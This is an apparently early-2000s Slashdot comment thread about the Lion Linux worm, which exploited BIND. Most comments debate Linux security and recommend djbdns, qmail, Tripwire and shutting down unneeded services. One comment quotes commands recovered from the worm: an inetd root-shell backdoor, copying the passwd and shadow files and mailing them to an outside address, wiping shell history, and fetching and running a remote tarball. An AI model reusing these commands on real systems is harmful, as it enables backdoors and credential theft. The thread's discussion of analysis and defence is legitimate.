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New Linux Worm

mspeedie writes "Seems Linux has very much arrive judging by the number of nasty virus starting to pop up. Check out the latest at: Lion Worm Virus on Linux " This is not a virus, its a worm that exploits a vulnerable bind to install a rootkit. Regardless, you should have tripwire or something running anyway.

24 of 232 comments (clear)

  1. BIND is the problem, not Linux by defile · · Score: 5

    Tripwire? If you were a real admin you would look at the source for BIND, declare it garbage, and run djbdns instead.

    Run BIND on production servers? Not if my life depended on it. djbdns runs chroot()'d, non-root by default and even then the author still puts up a $500 reward for anyone who can find a security hole.

    I'm so glad we modern admins have a choice. djbdns is a real, safe, fast, and well documented alternative to BIND and if I were your boss I'd fire you for not switching.

    Friends don't let friends run BIND!

  2. Re:Worm by jedidiah · · Score: 3

    No, this is a distributor problem. BIND is not a particularly core part of Linux (or Unix in general). It just happens to be an application that some people find useful.

    Whether or not BIND is an exploit depends on a 3rd party developer. Whether or not it's even running depends on who PACKAGED your version of Linux.

    OTOH, you have NO CHOICE when it comes to WinDOS distributions. If Microsoft f*cks up, you have no where else to look. If Bughat f*cks up, you can look to Caldera, Mandrake, Debian, Slackware and Suse.

    --
    A Pirate and a Puritan look the same on a balance sheet.
  3. partial rant, by craw · · Score: 4
    Regardless, you should have tripwire or something running anyway.

    This statement is really indicative of another thing: cluelessness. Running tripwire will tell someone that they have been cracked! Close the barn door Edith, the cows just escaped!

    Maybe the "or something" alludes to the real solution; don't run BIND, run an up-to-date patched version of BIND, run snort, etc... Maybe he should have said, "Patch early, patch often." But nooooo! Run tripwire.

    BTW, this worm is really no different than the ramen worm; similar concept, different exploit. What has gotten the attention of sysadmins is that they are seeing a sudden surge in traffic to port 53. These sysadmins are the target audience of SANS, and the sysadmins don't like someone messing with their DNS. I believe that is why the Global Incident Analysis Center (GIAC) of SANS changed their current threat level to yellow. This comment was posted on GIAC (note TCP, not UDP to port 53).

    ...in the past 48 hours there has been a 1000% increase in reported attacks on DNS port 53 TCP, 45,000 reports (out of 51,000) of them coming from a single IP address 200.239.59.252.

    BTW, the n.g. comp.os.linux.security had a posting about this (didn't know it was lion) back on Tuesday. In that thread, the guy that got cracked found this (using strings on the rogue program)

    echo '1008 stream tcp nowait root /bin/sh sh' >> /etc/inetd.conf
    killall -HUP inetd;ifconfig -a > 1i0n
    cat /etc/passwd >> 1i0n
    cat /etc/shadow >> 1i0n
    mail 1i0nip@china.com &lt 1i0n rm -fr 1i0n
    rm -fr /.bash_history
    lynx -dump http://XXXXXXXX.XX.net/crew.tgz >1i0n.tgz
    tar -zxvf 1i0n.tgz
    rm -fr 1i0n.tgz;cd lib
    ./1i0n.sh

  4. rootness and capabilities by kaisyain · · Score: 4

    If people stopped giving root God-like powers then problems like this wouldn't crop up. Patches like LIDS help put root in a jail. Someday we can pray that root, and all the trust and power that goes along with UID 0, will go away completely.

    1. Re:rootness and capabilities by Alomex · · Score: 3
      If people stopped giving root God-like powers then problems like this wouldn't crop up.

      This is one way in which Linux/Unix sucks. The security model is brain dead. It might look good compared to Windoze, but if you have ever used a mainframe you would know what I'm talking about.

      Yet the Linux community seems more interested in pointing out the ways in which Linux is better than Windows instead of adressing real concerns with the *nix model... (Miguel de Icaza being the exception that proves the rule).

      Here's a list

      • Security in *nix sucks
      • X-windows sucks
      • the xterm gui-cli interface sucks
      • all the shells suck (with the possible exception of zsh).
      • file system in *nix sucks
      • netscape in *nix sucks
      any others?

      Flame away

    2. Re:rootness and capabilities by rabtech · · Score: 3

      No, this is not the case. There is an account called "Local System", but services exposed to the outside usually don't run under that context -- they run under another context. There is an attribute for each user that says "Allow to log on as a service."

      IIS creates a user, usually called IUSR_machinename, which is the process under which IIS runs. Therefore, if I restrict that user from accessing anything but the INETPUB directory, including utils like CMD.EXE, system files, etc...., then even if someone can get in under that process, they won't be able to do much.

      Then again, that's the flexibility you get when you have true file ACLs and can run services under separate security contexts.
      -------
      -- russ

      "You want people to think logically? ACK! Turn in your UID, you traitor!"

      --
      Natural != (nontoxic || beneficial)
  5. Re:Everybody should have seen it coming... by HiThere · · Score: 3

    Nearly everybody did see it coming. And it will come again. That's why you fix your vulnerabilities as they are discovered.

    Caution: Now approaching the (technological) singularity.

    --

    I think we've pushed this "anyone can grow up to be president" thing too far.
  6. YES! by Flounder · · Score: 4
    I've finally got a snappy comeback to all those Linux-using bastards here in the office that claim Linux is superior and is more secure than Windows NT.

    Oh, wait. I'm one of those Linux-using bastards.

    --

    No boom today. Boom tomorrow. There's always a boom tomorrow. - Cmdr. Susan Ivanova

  7. Re:Tripwirelike product by interiot · · Score: 4
    http://www.tripwire.org/qanda/askbrian_103000.php

    Tripwire has split into a commerical version and an open source version.
    --

  8. Re:Worm by pos · · Score: 3

    Strictly speaking you are absolutly correct and I stand corrected.

    However, my argument still stands because most users don't consider their kernel to be their OS, and they consider their Operating System to be Linux and not GNU (which it really is as debian HURD developers will quickly point out to you). So the difference is largely a misnomer...

    My point here would be that desktop users may want choices, but more importantly, they want intelligent default choices to be made for them by their distributions so they don't ever have to worry about it. This includes not defaulting to buggy software or worm vulnerable builds of BIND. A good OS will instill confidence in the user by making good default choices on their behalf (which Windows/Mac do well) and allowing them to inspect and change them if they desire (which linux does well). Both of these are the responsabilty of the distro if linux is ever to move over to the desktop.

    -pos


    The truth is more important than the facts.

    --
    The truth is more important than the facts.
    -Frank Lloyd Wright
  9. Worm by pos · · Score: 5

    First of all... This is a linux problem and not just a Bind problem becuase bind gets installed in a lot of distributions by default. It's the same people who talk about linux taking over the desktop who later say that it's the user's fault that they should know what their machine is doing.

    If linux is just for hackers, then fine. BUT, if you have ever expressed that you want linux to be the default instead of Mac, Windows or whatever then you owe it to yourself to be realistic about why most people use computers. It's probably different than why you do, and it's probably because they just want software that does a job for them. They don't care how it works and they shouldn't have to. We don't make fun of people who don't know what happened when their car breaks. Sure... it's respectable to know why, but it's not a sin not to.

    And second...

    Regardless, you should have tripwire or something running anyway

    That is a total cop-out! I'm sure every one here knows that a windows user would get absolutly jumped on if they said something like that about windows security. "Security hole in windows? you should be running antivirus software. It's your own fault."

    flame on.

    -pos



    The truth is more important than the facts.

    --
    The truth is more important than the facts.
    -Frank Lloyd Wright
  10. Tripwire by jensend · · Score: 4

    Tripwire (under GPL since last year) is available at tripwire.org or through their Sourceforge project. This should have been posted with the story (if he's going to mention it, why not link it).

  11. Anyone here a falsetto? by drin · · Score: 4

    In the network
    The mighty network
    The Lion creeps tonight

    All together now!

    In the network
    The mighty network
    The Lion creeps tonight

    ...with apologies to the tokens...

    -drin

  12. Use DJBDNS instead of BIND. by Nonesuch · · Score: 5
    There is seldom any good reason to run BIND, when you can get a free secure replacement from Dan Bernstein.

    There are way to many machines running full services when only one or two listening processes are really needed, if that.

  13. Re:Why exactly are BIND and Sendmail known for hol by Nonesuch · · Score: 5
    I replace BIND with DJBDNS, and Sendmail with Qmail.

    Both Sendmail and BIND suffer from the same basic problem- they are huge monolithic programs that must be executed as root to perform their intended duties.

    From the Qmail web site:

    Why is qmail secure? The reason I started the qmail project was that I was sick of the security holes in sendmail and other MTAs. Here's what I wrote in December 1995:

    Every few months CERT announces Yet Another Security Hole In Sendmail---something that lets local or even remote users take complete control of the machine. I'm sure there are many more holes waiting to be discovered; sendmail's design means that any minor bug in 41000 lines of code is a major security risk. Other popular mailers, such as Smail, and even mailing-list managers, such as Majordomo, seem just as bad.
    As it turned out, fourteen security holes were discovered in sendmail in 1996 and 1997.

    I followed seven fundamental rules in the design and implementation of qmail:

    1. Programs and files are not addresses. Don't treat them as addresses.

      sendmail treats programs and files as addresses. Obviously random people can't be allowed to execute arbitrary programs or write to arbitrary files, so sendmail goes through horrendous contortions trying to keep track of whether a local user was ``responsible'' for an address. This has proven to be an unmitigated disaster.

      In qmail, programs and files are not addresses. The local delivery agent, qmail-local, can run programs or write to files as directed by ~user/.qmail, but it's always running as that user. (The notion of ``user'' is configurable, but root is never a user. To prevent silly mistakes, qmail-local makes sure that neither ~user nor ~user/.qmail is world-writable.)

      Security impact: .qmail, like .cshrc and .exrc and various other files, means that anyone who can write arbitrary files as a user can execute arbitrary programs as that user. That's it.

    2. Do as little as possible in setuid programs.

      A setuid program must operate in a very dangerous environment: a user is under complete control of its fds, args, environ, cwd, tty, rlimits, timers, signals, and more. Even worse, the list of controlled items varies from one vendor's UNIX to the next, so it is very difficult to write portable code that cleans up everything.

      Of the twenty most recent sendmail security holes, eleven worked only because the entire sendmail system is setuid.

      Only one qmail program is setuid: qmail-queue. Its only purpose is to add a new mail message to the outgoing queue.

    3. Do as little as possible as root.

      The entire sendmail system runs as root, so there's no way that its mistakes can be caught by the operating system's built-in protections. In contrast, only two qmail programs, qmail-start and qmail-lspawn, run as root.

    4. Move separate functions into mutually untrusting programs.

      Even if qmail-smtpd, qmail-send, qmail-rspawn, and qmail-remote are completely compromised, so that an intruder has control over the qmaild, qmails, and qmailr accounts and the mail queue, he still can't take over your system. None of the other programs trust the results from these four.

      In fact, these programs don't even trust each other. They are in three groups: qmail-smtpd, which runs as qmaild; qmail-rspawn and qmail-remote, which run as qmailr; and qmail-send, the queue manager, which runs as qmails. Each group is immune from attacks by the others.

      (From root's point of view, as long as root doesn't send any mail, only qmail-start and qmail-lspawn are security-critical. They don't write any files or start any other programs as root.)

    5. Don't parse.

      I have discovered that there are two types of command interfaces in the world of computing: good interfaces and user interfaces.

      The essence of user interfaces is parsing: converting an unstructured sequence of commands, in a format usually determined more by psychology than by solid engineering, into structured data.

      When another programmer wants to talk to a user interface, he has to quote: convert his structured data into an unstructured sequence of commands that the parser will, he hopes, convert back into the original structured data.

      This situation is a recipe for disaster. The parser often has bugs: it fails to handle some inputs according to the documented interface. The quoter often has bugs: it produces outputs that do not have the right meaning. Only on rare joyous occasions does it happen that the parser and the quoter both misinterpret the interface in the same way.

      When the original data is controlled by a malicious user, many of these bugs translate into security holes. Some examples: the Linux login -froot security hole; the classic find | xargs rm security hole; the Majordomo injection security hole. Even a simple parser like getopt is complicated enough for people to screw up the quoting.

      In qmail, all the internal file structures are incredibly simple: text0 lines beginning with single-character commands. (text0 format means that lines are separated by a 0 byte instead of line feed.) The program-level interfaces don't take options.

      All the complexity of parsing RFC 822 address lists and rewriting headers is in the qmail-inject program, which runs without privileges and is essentially part of the UA.

      Keep It Simple, Stupid


  14. /. presses about to fall over (too slanted!) by Dr.+Zowie · · Score: 3

    Why is it that whenever a M$ product get attacked by malware it's becase of crappy security in the OS, but when linux gets attacked it's because the OS has "finally arrived"? Hmmmm...

  15. tripwire by IAmSancho · · Score: 4
    "Regardless, you should have tripwire or something running anyway."

    I'm so glad to see that CmdrTaco is promoting the proliferation of Linux into the community of average (read: "most") computer users with such a supportive, nurturing, and positive comment such as this. The arrogant tone of the comment makes me want to advise all of my non-expert computer using friends to download Mandrake, install it with no help from a Linux expert (it's so easy you don't need one anyway), and then proceed to use and learn it without any help from anyone, since it's so easy and intuitive. And, of course they'll all know to install tripwire "or something" because it's just that obvious.

    Thanks again, CmdrTaco; you are a true representative of the Linux community in everything you say and do.

    --
    -------------------------

    Stupid people suck.

  16. regardless... by StandardDeviant · · Score: 5

    You probably shouldn't be running bind (or anything else). Linux's security problems are almost always created by people leaving stuff up/on/open when they don't need to.

    If you're a newbie, here's a partial list of things you don't need to install or have running on your new workstation: bind/named, any form of mail server (esp. sendmail), atd, smbd/nmbd (samba), inetd, any form of ftp daemon (wuftpd, et al.), NFS/NIS/portmap, basically anything that provides a service to the outside world. Machines on "always-on" connections and not behind firewalls are of course the most vulnerable...

    The best policy is offering nothing, and only selectively opening up services as you need to. If you do have a machine that needs to provide a service, try to understand the service and the idiosyncracies of the server program before you offer it, and keep tabs on updates...

    Insert standard "wish-the-distros-would-wise-up-and-ship-closed-by -default-installations" thought here...


    --
    News for geeks in Austin: www.geekaustin.org
    1. Re:regardless... by StandardDeviant · · Score: 5

      Look into the Bastille project (search freshmeat). It's intended to run on a virgin install IIRC, fixes security holes and tells you what it's doing and why.


      --
      News for geeks in Austin: www.geekaustin.org
  17. Shouldn't that be : by SpanishInquisition · · Score: 4

    GNU/Linux Worm?
    --

    --
    Je t'aime Stéphanie
  18. Patch... by jargoone · · Score: 4
    I managed to find a patch. You can download it here.

    Kidding, kidding. But only half. Maybe not even half.

  19. Slashdot Spin Machine by sucko · · Score: 4
    "Seems Linux has very much arrive judging by the number of nasty virus starting to pop up....
    Only the true zelot can turn a bad news item, like a new worm into good news...
  20. LAME!! by geomcbay · · Score: 4
    Why does Slashdot post about this worm? The source code for it isnt even available and the worm isn't GPL!!!

    Why would I want to run a closed source worm on my system???

  21. Tripwirelike product by deran9ed · · Score: 3


    FreeVeracity

    Tripwire is now a pay for play product, so I suggest using something like this which is open source/free and just as good

    Secret Mir Casualty